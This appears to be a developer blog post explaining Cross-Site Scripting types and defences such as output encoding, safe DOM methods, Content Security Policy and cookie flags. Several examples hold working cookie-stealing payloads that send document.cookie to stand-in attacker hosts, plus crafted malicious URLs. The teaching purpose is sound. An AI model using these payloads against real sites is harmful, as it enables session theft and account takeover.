Web applications frequently handle user-generated input. When this input is not processed securely, an attacker may insert executable code that runs in other users' browsers. This vulnerability is known as Cross-Site Scripting (XSS).
This blog explains what XSS is, how it functions, its primary types, and technical approaches for mitigation.
Table of Contents
- What is Cross-Site Scripting (XSS)
- How XSS Works
- Types of XSS
- What Attackers Can Do with XSS
- Prevention Methods
- Summary
- References
1. What is Cross Site Scripting (XSS)
Cross-Site Scripting (XSS) is a web application security flaw that allows attackers to inject client-side scripts into web pages that other users view. When successful, the code runs right inside someone's browser, pretending to be part of the legitimate website. Because the browser trusts the site, it also trusts the attacker's code, that's when the trouble starts.
When exploited, an attacker can:
- Steal session cookies or authentication tokens
- Impersonate another user
- Display fake messages or phishing prompts
- Redirect users to malicious sites
Example:
Imagine a comment section that doesn't properly filter user input.
An attacker posts something like:
Great post! <script>document.location='https://malicious.example.com/stealcookie?c='+document.cookie</script>
If the website just displays this comment as-is, every visitor who views it will unknowingly run that script in their browser. Their cookie data - basically their login proof, gets sent straight to the attacker's site.
2. How XSS Works
Cross-Site Scripting (XSS) occurs when a web application accepts untrusted input and embeds it into a web page without applying proper escaping or validation. As a result, the browser interprets the input as executable code instead of plain text.
This vulnerability enables attackers to inject client-side scripts that execute in the context of a trusted website.
Process overview:
- An attacker submits a payload containing executable code through a web form, message, or URL parameter
- The web application reflects or stores this input and includes it in the page's response
- When a user loads the affected page, the browser executes the injected script as part of the website
Example: Comment Submission Vulnerability
Consider a web application that allows users to submit comments:
<form action="/comment" method="POST">
<input type="text" name="username" placeholder="Your name" />
<textarea name="comment" placeholder="Leave a comment"></textarea>
<button type="submit">Post</button>
</form>
A legitimate comment might be:
"Great article! Very helpful."
However, an attacker could submit the following input instead:
<script>
fetch('https://malicious.example.com/steal?cookie=' + document.cookie);
</script>
If the application directly displays this comment without sanitization, the output might look like:
<div class="comment">
<strong>User:</strong> TestUser
<p><script>fetch('https://malicious.example.com/steal?cookie=' + document.cookie);</script></p>
</div>
In this case, when another user views the page, the browser executes the embedded script.
The script sends the viewer's cookies-possibly containing session identifiers or authentication tokens-to the attacker's external server.
3. Types of XSS
Cross-Site Scripting (XSS) vulnerabilities are classified into three main types, depending on where and how malicious code is injected and executed:
- Stored XSS (Persistent XSS) - the payload is stored on the server (e.g., in a database or profile) and served to users later.
- Reflected XSS (Non-Persistent XSS) - the payload is included in the current HTTP request and immediately reflected back in the server's response.
- DOM-Based XSS (Client-Side XSS) - the payload is executed entirely within the client's browser by manipulating the DOM through insecure JavaScript.
3.1. Stored XSS (Persistent XSS)
Stored XSS, also known as Persistent XSS, arises when a server-side component stores untrusted user input (such as posts, comments, or profile information) and subsequently displays that content on a web page without proper sanitization or escaping.
When other users view the affected page, the malicious script executes in their browsers with the permissions of the vulnerable website.
This type of XSS is considered more severe than reflected or DOM-based variants because the injected code remains active until it is manually removed or sanitized.
Example Scenario
Consider a social platform that allows users to post status updates:
<form action="/post" method="POST">
<textarea name="message" placeholder="Share something interesting..."></textarea>
<button type="submit">Post</button>
</form>
An attacker could submit a message containing malicious JavaScript code:
<script>
fetch('https://attacker.example/collect?cookie=' + encodeURIComponent(document.cookie));
</script>
If the application stores this message directly in a database and later retrieves it without sanitization, the generated page might look like this:
<div class="post">
<strong>User:</strong> TestUser
<p><script>
fetch('https://attacker.example/collect?cookie=' + encodeURIComponent(document.cookie));
</script></p>
</div>
Whenever a user loads the page, the script runs and can perform actions such as stealing session cookies, redirecting the browser, or altering the page's content.
This payload remains active until manually removed or sanitized, making stored XSS the most dangerous variant.
Key Points
- The payload is permanently stored on the server and runs whenever the data is displayed.
- Affects all users who view the compromised page.
- Common in systems with user-generated content (forums, profiles, reviews, comments).
- Prevented through server-side sanitization, contextual output encoding, and Content Security Policy (CSP) enforcement.
3.2. Reflected XSS (Non-Persistent XSS)
Reflected XSS, also known as Non-Persistent XSS, occurs when malicious script code is included within a request-such as a crafted URL or form submission-and the web application immediately reflects that input back into the HTTP response without proper validation or escaping.
Unlike Stored XSS, the payload is not saved on the server. Instead, it is delivered to the victim through a specially crafted link or request.
When the victim opens the malicious link, the injected code is reflected by the vulnerable page and executed in the victim's browser.
Example Scenario
Consider a search page that takes a q
parameter and directly displays it on the page without sanitizing user input:
<form action="/search" method="GET">
<input type="text" name="q" placeholder="Search..." />
<button type="submit">Search</button>
</form>
A normal query URL:
https://example.com/search?q=security+tutorial
A malicious URL crafted by an attacker:
https://example.com/search?q=<script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script>
If the response page renders that query value unsafely:
<p>Search results for: <b><script>fetch('https://attacker.example/steal?cookie='+document.cookie)</script></b></p>
Key Points
- Payload is transient, not stored on the server.
- Requires user interaction (e.g., clicking a crafted link).
- Commonly found in search, login, and error pages that reflect input.
- Prevented through HTML/JavaScript output encoding, input validation, and CSP.
3.3. DOM Based XSS (Client Side XSS)
DOM-Based XSS, also known as Client-Side XSS, occurs when a web page's JavaScript code dynamically modifies the Document Object Model (DOM) using data from a user-controlled source (such as the URL, query string, or hash fragment) without proper validation or encoding.
In this type of attack, the malicious payload never touches the server. Instead, it executes entirely within the user's browser.
The vulnerability exists because client-side scripts read untrusted input and use it to write directly into the page structure (e.g., using innerHTML
, document.write()
, or similar methods).
Example Scenario
A web application personalizes a "welcome" message using data from the URL hash fragment:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>DOM XSS Example</title>
</head>
<body>
<h2 id="greeting">Welcome!</h2>
<script>
const name = location.hash.substring(1);
document.getElementById("greeting").innerHTML = "Welcome, " + name;
</script>
</body>
</html>
A normal visit:
https://example.com#TestUser
Displays:
Welcome, TestUser
However, an attacker could send a crafted URL such as:
https://example.com#<img src=x onerror=fetch('https://malicious.example/steal?cookie='+document.cookie)>
When the victim opens this link, the vulnerable JavaScript reads the fragment and inserts it directly into the DOM using innerHTML
.
The injected script is executed on the client side, allowing theft of cookies or manipulation of page content.
Safer Implementation
const name = location.hash.substring(1);
document.getElementById("greeting").textContent = "Welcome, " + name;
By using .textContent
(or proper encoding libraries), the data is inserted as plain text rather than executable HTML, neutralizing the attack vector.
Key Points
- Executes purely in the client environment
- Requires no server reflection or storage
- Common in JavaScript-driven single-page applications (SPAs)
- Prevented by safe DOM manipulation, sanitizing dynamic data, and restrictive CSP policies
3.4. Difference Between the Three Methods
Attribute | Stored XSS (Persistent) | Reflected XSS (Non-Persistent) | DOM-Based XSS (Client-Side) |
---|---|---|---|
Location of Vulnerability | Server stores and reuses unsanitized input | Server reflects unsanitized input in response | Browser's JavaScript handles untrusted data insecurely |
Where the Payload Resides | Stored in server-side data sources (database, log, CMS) | Contained in crafted links or form submissions | Exists only in client-side DOM or URL fragment |
When Code Executes | When the affected page is viewed by any user | When the victim clicks or accesses the malicious link | When client-side JavaScript processes untrusted input |
Server Involvement | High - vulnerability in backend handling | Medium - server reflects input unsafely | None - vulnerability exists only in frontend code |
User Interaction Required | No | Yes (victim must trigger request) | Optional (depends on page functionality) |
Common Targets | Comment systems, forums, message boards | Search results, error messages, login forms | Dynamic SPAs, interactive client-side components |
Risk Scope | Affects all users of the application | Affects a single targeted user | Affects users executing the vulnerable JS feature |
Mitigation Focus | Sanitize and encode stored data before output | Encode and escape reflected data in responses | Validate and safely handle data in client DOM operations |
3.5. Summary
Cross-Site Scripting (XSS) vulnerabilities exploit weaknesses in how web applications handle user-controlled input.
Although the execution mechanism varies, the ultimate goal is consistent across all types - inject malicious scripts into a trusted context to execute in the user's browser.
- Stored XSS poses the highest risk since payloads persist on the server and affect all users viewing the content.
- Reflected XSS relies on social engineering to make victims click malicious links that cause immediate temporary script execution.
- DOM-Based XSS originates from insecure JavaScript practices and executes entirely on the client side without server participation.
Robust prevention requires layered defenses, including:
- Input validation on both client and server sides.
- Context-aware output encoding.
- Avoiding unsafe DOM manipulation techniques.
- Applying strict Content Security Policy (CSP) rules.
- Employing modern frameworks or security libraries that automatically sanitize data.
Together, these strategies significantly reduce the attack surface and help maintain application integrity against XSS-based threats.
4. What Attackers Can Do with XSS
Once an attacker successfully exploits an XSS vulnerability, they gain the ability to execute arbitrary JavaScript in the victim's browser within the context of a trusted website.
Because the code runs as if it were part of the legitimate page, the attacker can leverage it to perform numerous malicious actions.
Potential impacts include:
Session Hijacking and Account Takeover:
Access or exfiltrate authentication cookies, JSON Web Tokens (JWTs), or session identifiers to impersonate the victim.User Impersonation and Unauthorized Actions:
Perform privileged actions on behalf of authenticated users - such as transferring funds, changing passwords, or sending messages.Data Exposure and Theft:
Read sensitive information displayed on the page or pulled via AJAX, including personal data, order details, or internal messages.Credential Harvesting and Phishing:
Inject fake login forms or overlays designed to capture user credentials.Website Defacement or Misleading Modifications:
Alter displayed text, interface elements, or media content to misinform or damage reputation.Command Execution or Malware Delivery:
Redirect users to malicious sites, load external JavaScript payloads, or deliver browser exploits.Network Pivoting and Exploitation:
Use authenticated sessions to attack other services or endpoints accessible from the victim's environment.
Even a simple XSS vulnerability can have severe consequences, depending on the privileges of the victim user and the sensitivity of accessible data.
5. Prevention Methods
XSS prevention requires a multi-layered defense strategy, combining rigorous input handling, secure coding practices, browser-based protections, and ongoing security maintenance.
No single safeguard is sufficient on its own - effective XSS mitigation relies on consistent application of the following principles.
5.1. Escape and Sanitize Output
Always treat all user-supplied data as untrusted, and encode output properly before including it in HTML, JavaScript, or attribute contexts.
This prevents browsers from interpreting user input as executable code.
Practical Guidelines:
- Replace or encode special characters such as
<
,>
,'
,"
, and&
. -
Use context-aware escaping depending on where the data is inserted:
-
HTML encoding (for text content):
Convert special characters to entities so they appear as plain text.
Example:
<script>
-><script>
-
Attribute encoding (for HTML attributes):
Encode quotes and angle brackets to stop injection inside attribute values.
Example:
" onerror="alert(1)
->" onerror="alert(1)
-
JavaScript string escaping (for dynamic script values):
Escape quotes and special characters when embedding data into scripts.
Example:
Alice"; alert('XSS');
->Alice\"; alert('XSS');
-
HTML encoding (for text content):
Convert special characters to entities so they appear as plain text.
Example:
This ensures that user data is rendered safely as content, never executed as code.
5.2. Validate User Input
Ensure every input matches expected formats and reject or sanitize anything outside valid ranges.
Best practices:
- Use whitelists instead of blacklists - specify acceptable patterns (e.g., alphanumeric, email format).
- Enforce input length limits to reduce payload size risks
- Validate input both client-side (for user experience) and server-side (for security enforcement)
- Re-validate data before rendering or storage, even if it was validated previously
5.3. Use Safe DOM Methods
Avoid JavaScript APIs that interpret content as HTML or executable code, such as:
innerHTML
document.write()
eval()
setTimeout("code", delay)
Instead, use secure APIs that place untrusted content as plain text or structured elements:
textContent
setAttribute
createElement
appendChild
Example:
// Unsafe
document.getElementById("msg").innerHTML = userInput;
// Safe
document.getElementById("msg").textContent = userInput;
5.4. Apply a Content Security Policy (CSP)
A Content Security Policy instructs browsers to restrict what scripts and resources can be loaded or executed.
Even if an injected script exists in the page, CSP can prevent it from executing.
Example HTTP Header:
Content-Security-Policy: script-src 'self'; object-src 'none'; base-uri 'self';
Benefits:
- Blocks inline scripts (
<script>...</script>
) unless explicitly allowed. - Prevents loading scripts from untrusted external domains.
- Reduces XSS impact by blocking data exfiltration via unauthorized requests.
CSP acts as a defense-in-depth measure - it complements but does not replace input sanitization and output encoding.
5.5. Rely on Framework Security Defaults
Modern front-end frameworks (such as React, Angular, Vue, and Svelte) implement automatic HTML escaping and virtual DOM rendering to minimize direct HTML manipulation.
Recommendations:
- Do not disable built-in sanitization (e.g.,
v-html
in Vue or[innerHTML]
in Angular). - Avoid unsafe template injections or string concatenations.
- Keep frameworks and dependencies updated to the latest security releases.
5.6. Protect Cookies
Prevent XSS-attacks from escalating into session hijacking by making cookies inaccessible to JavaScript and enforcing secure transmission.
Example:
Set-Cookie: sessionid=abc123; HttpOnly; Secure; SameSite=Strict;
Directive explanation:
-
HttpOnly
- prevents access to cookies viadocument.cookie
-
Secure
- ensures cookies are sent only over HTTPS -
SameSite
- mitigates cross-origin request attacks
5.7. Regular Testing and Monitoring
Security is an iterative process. Regular reviews help identify and resolve new or overlooked vulnerabilities.
Recommended practices:
- Conduct regular code audits and penetration tests focusing on input-handling logic
- Use automated scanners (like OWASP ZAP or Burp Suite) to detect reflected or stored XSS points
- Analyze CSP reports and browser security console messages for blocked resources or violations
- Maintain an ongoing patch management process for your framework, dependencies, and build pipelines
6. Summary
Cross-Site Scripting (XSS) is one of the most prevalent and damaging web vulnerabilities, enabling attackers to inject and execute untrusted code in user browsers.
While the Stored, Reflected, and DOM-Based variants differ in execution paths, they share a common root cause - improper handling of untrusted input.
To effectively prevent XSS:
- Validate and sanitize all user inputs according to strict format and length rules.
- Encode or escape outputs in every appropriate context (HTML, URL, JavaScript, etc.).
-
Use safe DOM APIs (
textContent
,setAttribute
) instead of unsafe APIs (innerHTML
,eval
). - Apply Content Security Policy (CSP) to restrict where scripts can run.
- Enable modern framework protections and avoid disabling built-in security mechanisms.
-
Secure cookies and sessions using
HttpOnly
,Secure
, andSameSite
flags. - Regularly test, audit, and monitor both backend and frontend code for new attack vectors.
By following these layered defenses, developers can significantly reduce exposure to XSS and ensure the web application maintains confidentiality, integrity, and trustworthiness for all users.
Top comments (0)